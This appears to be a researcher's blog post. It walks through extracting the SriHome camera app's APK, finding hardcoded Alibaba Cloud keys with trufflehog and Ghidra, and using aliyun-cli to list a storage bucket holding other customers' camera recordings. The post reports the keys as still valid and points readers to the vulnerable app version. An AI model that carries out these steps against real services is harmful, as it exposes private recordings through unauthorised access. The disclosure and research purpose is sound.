Pwning SriHome: Chapter 1

Introduction

Got myself a cheap security camera few years ago from SriHome to watch over my parked ride. Just had to swap out its busted power cable. But guess what? Mid-fix, I couldn’t shake this nagging feeling: Could someone hack into this thing? So, I dove headfirst into checking out its weak spots. Join me on this wild ride as I poke around and see just how secure-or not-my little cam really is!

Reconnaissance

I started off digging into it’s Android application that lets me peep at my camera feed. It’s got this cloud-based authentication jazz. So, my first move was snagging the app and yanking out the APK file.

deathflash@MacBook-Pro ~ % adb shell pm path com.x.srihome
package:/data/app/~~LhYSF3h_3Mt5EXt7Xou2tg==/com.x.srihome-1-_iIbQ7lAT5lWwgWlknSg==/base.apk

deathflash@MacBook-Pro ~ % adb pull /data/app/~~LhYSF3h_3Mt5EXt7Xou2tg==/com.xyz.appname-1-_iIbQ7lAT5lWwgWlknSg==/base.apk
/data/app/~~LhYSF3h_3Mt5EXt7Xou2tg==/com.xyz.appname-1-_iIbQ7lAT5lWwgWlknSg==/base.apk: 1 file pulled, 0 skipped. 29.0 MB/s (11971237 bytes in 0.393s)

Note: The most recent version has been patched. For experimentation purposes, kindly download an earlier version (21.9.24) from here.

After that, I broke open the APK using apktool.

deathflash@MacBook-Pro ~ % apktool d SriHome_21.9.24_Apkpure.apk
I: Using Apktool 2.7.0 on SriHome_21.9.24_Apkpure.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/deathflash/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Next up, I hunted for any sneaky credentials in the source code with trufflehog.

deathflash@MacBook-Pro ~ % trufflehog filesystem SriHome_21.9.24_Apkpure/
🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷
...
...
✅ Found verified result 🐷🔑
Detector Type: Alibaba
Decoder Type: PLAIN
Raw result: J14......ESm
File: SriHome_21.9.24_Apkpure/lib/armeabi-v7a/libJNat.so
Line: 175
...
...

Sweet! Scored an access key secret for Alibaba, but it’s useless without it’s key id. Let’s track down the other half in the libJNat.so library file with Ghidra.

After Ghidra’s done its thing with the file, go to Search, then For Strings. Filter it with the access key you found earlier, and voilà! You’ll land right at this section of the code.

Exploitation

Awesome, we’ve got everything lined up. Time to set up aliyun-cli and put these credentials to the test to see if they’re the real deal.

deathflash@MacBook-Pro ~ % aliyun configure --profile srihome
Configuring profile 'srihome' in 'AK' authenticate mode...
Access Key Id []: LTA......CLu
Access Key Secret []: J14......ESm
Default Region Id []: us-west-1
Default Output Format [json]: json (Only support json)
Default Language [zh|en] en:
Saving profile[srihome] ...Done.

Configure Done!!!
..............888888888888888888888 ........=8888888888888888888D=..............
...........88888888888888888888888 ..........D8888888888888888888888I...........
.........,8888888888888ZI: ...........................=Z88D8888888888D..........
.........+88888888 ..........................................88888888D..........
.........+88888888 .......Welcome to use Alibaba Cloud.......O8888888D..........
.........+88888888 ............. ************* ..............O8888888D..........
.........+88888888 .... Command Line Interface(Reloaded) ....O8888888D..........
.........+88888888...........................................88888888D..........
..........D888888888888DO+. ..........................?ND888888888888D..........
...........O8888888888888888888888...........D8888888888888888888888=...........
............ .:D8888888888888888888.........78888888888888888888O ..............

Note: Since we’re not sure about the exact region, let’s roll with the default option for now us-west-1.

When we check out the OSS (object storage services) listing, something catches our eye.

deathflash@MacBook-Pro ~ % aliyun oss ls
CreationTime                                 Region    StorageClass    BucketName
2018-11-08 12:21:18 +0530 IST        oss-cn-beijing        Standard    oss://china-huabei2
Bucket Number is: 1

1.818300(s) elapsed

Time to fire up oss-browser for a user-friendly GUI and see what goodies are hiding inside the china-huaebi2 bucket.

Looks like we’ve struck gold—those seem to be device IDs, matching the format of my camera’s own ID (12 digits). Now, let’s dive in and see what secrets they’re holding.

Whoa, seems like we’ve hit the jackpot! These are recent recordings from the device, going back almost six months.

Alright, let’s call it a day. We’ve definitely got our answer.

Conclusion

Developers frequently overlook the security risk of leaving hardcoded credentials in their source code, making them incredibly easy targets for exploitation. As demonstrated above, this oversight can result in significant privacy breaches with far-reaching consequences.

Disclosure

Even though they appeared to have removed the hardcoded credentials from the android application after I reported the issue to them via support@sricam.com on August 13, 2022, the credentials still remain valid.

This means that anyone can access (some of) their customer’s recordings with ease :-/